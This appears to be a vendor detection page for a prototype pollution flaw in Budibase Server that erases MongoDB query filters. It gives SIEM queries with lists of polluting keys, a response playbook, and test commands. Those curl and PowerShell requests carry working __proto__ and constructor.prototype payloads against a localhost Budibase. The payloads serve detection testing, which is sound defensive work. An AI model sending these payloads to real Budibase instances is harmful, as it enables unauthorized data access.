Skip to content
CVE-2026-137498

Budibase MongoDB Query Filter Erasure via Prototype Pollution (CVE-2026-137498)

Initial Access Privilege Escalation Last updated:

Detects exploitation attempts against CVE-2026-137498, a CVSS 9.9 prototype pollution vulnerability (CWE-943) in Budibase Server from 3.39.18 before 4.0.0. Unauthenticated attackers can inject prototype-polluting keys (e.g. __proto__, constructor, prototype) into datasource query payloads so that MongoDB query filter objects are erased, causing filter bypass and unauthorized data access. This detection looks for HTTP requests to Budibase datasource/query API endpoints whose bodies contain prototype-polluting keys combined with MongoDB operator syntax.

Vulnerability Intelligence

Theoretical

What is CVE-2026-137498 Budibase MongoDB Query Filter Erasure via Prototype Pollution (CVE-2026-137498)?

Budibase MongoDB Query Filter Erasure via Prototype Pollution (CVE-2026-137498) (CVE-2026-137498) maps to the Initial Access and Privilege Escalation tactics — the adversary is trying to get into your network in MITRE ATT&CK.

This page provides production-ready detection logic for Budibase MongoDB Query Filter Erasure via Prototype Pollution (CVE-2026-137498), covering the data sources and telemetry it touches: Azure Firewall, IIS Logs, Web Proxy, WAF. The queries below are rated critical severity at medium confidence, and ship for 7 SIEM platforms — KQL, SPL, Elastic, QRadar, Sumo, YARA-L, LogScale.

MITRE ATT&CK

Tactic
Initial Access Privilege Escalation
Microsoft Sentinel / Defender
kusto
// df00tech DF00-64b98becae · https://df00tech.com/detections/CVE-2026-137498 · licence: https://df00tech.com/detections/licence
let protoKeys = dynamic(["__proto__","constructor","prototype"]);
let budibasePaths = dynamic(["/api/queries","/api/datasources","/api/tables","/api/queries/preview"]);
AZFWApplicationRule
| union (W3CIISLog | extend RequestUri = csUriStem, ClientIP = cIP, HttpMethod = csMethod, Body = tostring(column_ifexists("csUriQuery","")))
| where TimeGenerated > ago(1d)
| extend uri = tostring(coalesce(column_ifexists("RequestUri",""), column_ifexists("Fqdn","")))
| where uri has_any (budibasePaths)
| extend payload = tostring(coalesce(column_ifexists("Body",""), column_ifexists("AdditionalFields","")))
| where payload has_any (protoKeys)
| where payload has_any ("$where","$gt","$ne","$regex","filter","mongodb")
| project TimeGenerated, ClientIP = tostring(column_ifexists("ClientIP","")), uri, HttpMethod = tostring(column_ifexists("HttpMethod","")), payload
| sort by TimeGenerated desc

Identifies HTTP requests to Budibase datasource/query endpoints containing prototype-pollution keys alongside MongoDB query operators, indicating an attempt to erase MongoDB filters.

critical severity medium confidence

Data Sources

Azure Firewall IIS Logs Web Proxy WAF

Required Tables

AZFWApplicationRule W3CIISLog

False Positives

  • Legitimate Budibase admins creating MongoDB datasource queries that reference fields literally named 'constructor' or 'prototype'.
  • Security scanners (e.g. internal DAST) probing Budibase instances for prototype pollution.
  • Application frameworks that legitimately serialize objects whose keys include reserved words in encoded form.

Query fingerprint DF00-64b98becae · licence

Sigma logsource & community rules

The detection logic for Budibase MongoDB Query Filter Erasure via Prototype Pollution (CVE-2026-137498) (CVE-2026-137498) above is provided in a vendor-neutral form so you can deploy it on any SIEM. The same logic is shipped here as native KQL (Microsoft Sentinel / Defender), SPL (Splunk), Elastic (Elastic Security (EQL)), QRadar (IBM QRadar (AQL)), Sumo (Sumo Logic CSE), YARA-L (Google Chronicle / SecOps), LogScale (CrowdStrike LogScale (CQL)) queries. In Sigma terms, this detection targets the following logsource:

logsource:
  category: network_connection
  product: windows

Browse the community-maintained Sigma rules for this technique:


Testing Methodology

Validate this detection against 3 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are further down this page.

  1. Test 1 Prototype pollution via __proto__ in Budibase query body

    Expected signal: Web/proxy log entry for POST /api/queries/preview with request body containing __proto__ and filter keys.

  2. Test 2 Constructor-based prototype pollution against datasource endpoint

    Expected signal: HTTP POST to /api/datasources with body containing constructor and prototype keys.

  3. Test 3 Prototype pollution with MongoDB $where operator

    Expected signal: Web server log entry for the POST request containing __proto__ and $where tokens.


Response Playbook

Triage

  1. Confirm the Budibase Server version is in the affected range (from 3.39.18 before 4.0.0) and that MongoDB datasources are configured.
  2. Inspect the captured request body for prototype-polluting keys (__proto__, constructor, prototype) and determine whether the request was unauthenticated.
  3. Correlate the source IP against known admin/builder users and expected automation; flag any external or anonymous origin.
  4. Review whether the targeted datasource query returned an abnormally large or unfiltered result set, indicating a successful filter erasure.

Containment

  1. Block the offending source IP(s) at the WAF/firewall and rate-limit the Budibase query API endpoints.
  2. Upgrade Budibase Server to 4.0.0 or later; if immediate upgrade is not possible, restrict network access to the Budibase instance to trusted IPs and place it behind an authenticated reverse proxy.

Evidence Collection

  1. Preserve raw web/proxy logs and full HTTP request bodies for the suspicious requests, including timestamps and source IPs.
  2. Export MongoDB server logs and Budibase application logs around the event window to assess which queries executed and what data was returned.

Escalation Criteria

  • ! Escalate to incident response if a prototype-pollution request returned sensitive records or if the application process shows signs of altered Object.prototype behavior.
  • ! Escalate if the source is external/unauthenticated and the Budibase instance exposes production datasources, indicating a probable data breach.

Investigation Guide

Forensic Artifacts

  • > Web/proxy access logs containing request bodies with prototype-polluting keys.
  • > Budibase application logs recording datasource query execution and anomalous result volumes.
  • > MongoDB query profiler/server logs showing queries executed with empty or altered filter objects.

Tuning Guidance

Baseline legitimate Budibase builder/admin IPs and exclude their datasource authoring traffic. If your Budibase deployment does not use MongoDB datasources, tighten the rule to alert on any prototype-polluting key in query bodies. Lower confidence if request bodies are not captured and only URI/query strings are available; raise severity disposition if the source IP is external and unauthenticated.


Hunting Queries

Surface all Budibase datasource/query requests referencing prototype-pollution keys regardless of MongoDB operator presence, to catch reconnaissance and variant payloads.

Hunting — KQL
kql
// df00tech DF00-64b98becae · https://df00tech.com/detections/CVE-2026-137498 · licence: https://df00tech.com/detections/licence
W3CIISLog | where csUriStem has_any ("/api/queries","/api/datasources") | where csUriQuery has_any ("__proto__","constructor","prototype") | project TimeGenerated, cIP, csUriStem, csUriQuery
Hunting — SPL
spl
``` df00tech DF00-64b98becae · https://df00tech.com/detections/CVE-2026-137498 · licence: https://df00tech.com/detections/licence ```
index=web (uri_path="*/api/queries*" OR uri_path="*/api/datasources*") | search uri_query="*__proto__*" OR uri_query="*constructor*" OR uri_query="*prototype*" | table _time src_ip uri_path uri_query

Atomic Red Team Tests

Test 1 Prototype pollution via __proto__ in Budibase query body
linux

Sends an unauthenticated POST to the Budibase query endpoint with a __proto__ key designed to erase the MongoDB filter object.

Command

bash
curl -s -X POST http://localhost:10000/api/queries/preview -H 'Content-Type: application/json' -d '{"fields":{"json":"{\"filter\":{},\"__proto__\":{\"filter\":null}}"},"datasourceId":"test"}'

Cleanup

bash
echo 'No persistent changes; restart Budibase/node process to clear polluted prototype if needed: docker restart budibase-apps'

Expected Telemetry

Web/proxy log entry for POST /api/queries/preview with request body containing __proto__ and filter keys.

Expected Detection

KQL/SPL rules match on prototype-pollution key plus MongoDB filter operator in the request body.

Test 2 Constructor-based prototype pollution against datasource endpoint
linux

Uses the constructor.prototype chain to inject a polluting property through the Budibase datasource API.

Command

bash
curl -s -X POST http://localhost:10000/api/datasources -H 'Content-Type: application/json' -d '{"name":"t","config":{"constructor":{"prototype":{"filter":null}}},"source":"MONGODB"}'

Cleanup

bash
echo 'Delete the test datasource via the Budibase UI/API and restart the apps service: docker restart budibase-apps'

Expected Telemetry

HTTP POST to /api/datasources with body containing constructor and prototype keys.

Expected Detection

Detection rules match on constructor/prototype keys combined with MongoDB source indicators.

Test 3 Prototype pollution with MongoDB $where operator
windows

Combines a prototype-pollution key with a MongoDB $where operator to demonstrate filter bypass in a query payload.

Command

powershell
powershell -Command "Invoke-RestMethod -Method Post -Uri 'http://localhost:10000/api/queries/preview' -ContentType 'application/json' -Body '{\"fields\":{\"json\":\"{\\\"__proto__\\\":{\\\"filter\\\":null},\\\"$where\\\":\\\"1==1\\\"}\"}}'"

Cleanup

powershell
powershell -Command "Write-Output 'Restart Budibase service to clear any polluted prototype state'"

Expected Telemetry

Web server log entry for the POST request containing __proto__ and $where tokens.

Expected Detection

All SIEM rules match on prototype-pollution key plus $where MongoDB operator.

Related Detections

Browse by tactic

Full ATT&CK matrix Search all detections